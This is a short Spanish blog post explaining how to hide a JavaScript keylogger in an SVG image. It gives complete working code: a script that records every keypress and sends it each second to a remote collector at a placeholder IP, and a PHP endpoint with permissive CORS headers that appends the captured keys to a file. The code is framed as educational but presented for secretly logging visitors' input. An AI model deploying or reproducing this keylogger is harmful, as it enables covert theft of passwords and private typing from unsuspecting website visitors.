lunes, 27 de noviembre de 2017

Img con keylogger



Recientemente he leído una noticia que me llamo mucho la atención, "482 de los sitios web más populares registran cada pulsación de teclado realizada por sus usuarios" en la que se denunciaban mas de 480 sitios web que graban las pulsaciones de teclado de sus visitantes con el objetivo de aprender sobre ellos y como no ofrecernos mejores ofertas con un marketing muy agresivo.

Disclaimer: Este post es meramente didáctico-divulgativo y se utilizara para impartir formación, cualquier mal uso que se de sobre su contenido estará bajo la responsabilidad de la persona que lo mal utilice.

Como siempre, la curiosidad creció rápido en mi y pensé en como podría replicar esto en una pagina web propia para aprovechar el asunto y aprender de mis visitantes.

Hace un tiempo en este mismo blog escribí un articulo sobre como aprovechar las imágenes SVG para otros fines menos artísticos de los que inicialmente plantean, podéis ver la entrada aquí:

SVG How to

En el articulo se explicaba como aprovechar su capacidad para incluir javascript para fines variopintos.

Ligando conceptos, se me ocurrió rápidamente esconder un keylogger en una de estas imágenes tipo SVG y escupir los datos hacia un servidor en el que esperamos una llamada con los datos.

El script a esconder sera este:

var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://xxx.xxx.xxx.xxx/forum/system/keylogger.php?c='+keys;
keys = '';
}, 1000);


Como podéis ver, el script mas sencillo no puede ser, captura las pulsaciones  y las manda al servidor donde le estaremos esperando con un archivo php que contiene este simple código:

<html>
<?php
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');
$file = 'data.txt';
if(isset($_REQUEST['c']) && !empty($_REQUEST['c']))
{
file_put_contents($file, $_REQUEST['c'], FILE_APPEND);
printf("LOGGED!");
}
?>
</html>

El código php sigue siendo muy simple, tan solo espera la llegada de la pulsación y la mete en el archivo data.txt.

Como veis ha sido rápido e indoloro, si os gusta este tipo de trucos os espero en MorterueloCon los días 2 y 3 de febrero en Cuenca para seguir jugando con imágenes y mas maldades varias.

Nos vemos!!!




No hay comentarios:

Publicar un comentario